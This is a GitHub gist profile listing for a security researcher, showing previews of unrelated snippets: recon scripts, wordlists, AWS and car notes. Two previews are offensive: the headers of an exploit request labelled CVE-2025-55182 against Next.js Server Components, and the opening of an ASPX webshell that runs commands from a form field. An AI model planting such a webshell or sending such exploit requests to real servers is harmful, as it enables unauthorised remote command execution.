Skip to content

Instantly share code, notes, and snippets.

View Malayke's full-sized avatar

Malayke

  • planet Earth (Solar System)
View GitHub Profile
@Malayke
Malayke / CVE-2025-55182.http
Created December 5, 2025 02:56 — forked from maple3142/CVE-2025-55182.http
tested on next.js 16.0.6, might need some changes to be applied to other RSC frameworks
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
@Malayke
Malayke / reverse-engineering-webpack-apps.md
Created October 20, 2025 10:38 — forked from 0xdevalias/reverse-engineering-webpack-apps.md
Some notes and techniques for reverse engineering Webpack (and a little bit about React/Vue/Angular) apps
@Malayke
Malayke / grant_permission.sh
Created August 15, 2025 04:17
aws secrets manager auto rotate lambda function
#!/bin/bash
# put policy.json to location secretsManager/policy.json
# Create inline policy directly on the role
aws iam put-role-policy \
--role-name $ROLE_NAME \
--policy-name SecretsManagerAccess \
--policy-document file://secretsManager/policy.json
# Extract values from your JSON file
@Malayke
Malayke / info.txt
Last active June 9, 2024 11:13
subaru brz zd8
发动机型号: 2.4升DOHC非涡轮增压发动机
总长:4,265毫米(167.9英寸)ET 除外,4,280毫米(168.5英寸)适用于 ET
总宽:1,775毫米(69.9英寸)
整体高度(在C.W.):1,310毫米(51.6英寸)
轴距:2,575毫米(101.4英寸)
前轮距:1,520毫米(59.8英寸)
后轮距:1,550毫米(61.0英寸)
最小路面间隙:130毫米(5.1英寸)
发动机气缸排列:横置、水冷、四缸四冲程汽油发动机
发动机气门系统机构:链条驱动、双顶置凸轮轴、4气门/缸
@Malayke
Malayke / technologies.json
Created August 8, 2022 09:38
wappalyzer technologies
This file has been truncated, but you can view the full file.
{
"technologies": {
"1C-Bitrix": {
"cats": [
"1",
"6"
],
"category_names": null,
"cookies": {
"BITRIX_SM_GUEST_ID": "",
@Malayke
Malayke / http_put_server.py
Created June 9, 2022 07:55
python http put server
#!/usr/bin/env python3
import sys
import signal
from threading import Thread
from http.server import HTTPServer, BaseHTTPRequestHandler
@Malayke
Malayke / parse_nmap_gnmap_to_httpx.py
Last active January 28, 2025 23:26
parse/convert nmap grep output(gnmap) to projectdiscovery httpx target
#!/usr/bin/env python3
import sys
if not sys.stdin.isatty():
stdin = sys.stdin.read().splitlines()
gnmap = stdin
elif len(sys.argv) > 1:
target = sys.argv[1]
with open(GNMAP) as f:
@Malayke
Malayke / all.txt
Created April 11, 2022 15:22 — forked from jhaddix/all.txt
all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/
This file has been truncated, but you can view the full file.
.
..
........
@
*
*.*
*.*.*
🐎
@Malayke
Malayke / cmd.aspx
Created May 8, 2020 08:51
dark theme cmd aspx webshell
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
myProcessStartInfo.UseShellExecute = false
@Malayke
Malayke / nmap_quick_scan.sh
Last active June 5, 2020 02:03
nmap quick scan script
#!/bin/bash
NOCOLOR='\033[0m'
RED='\033[0;31m'
GREEN='\033[0;32m'
ORANGE='\033[0;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
LIGHTGRAY='\033[0;37m'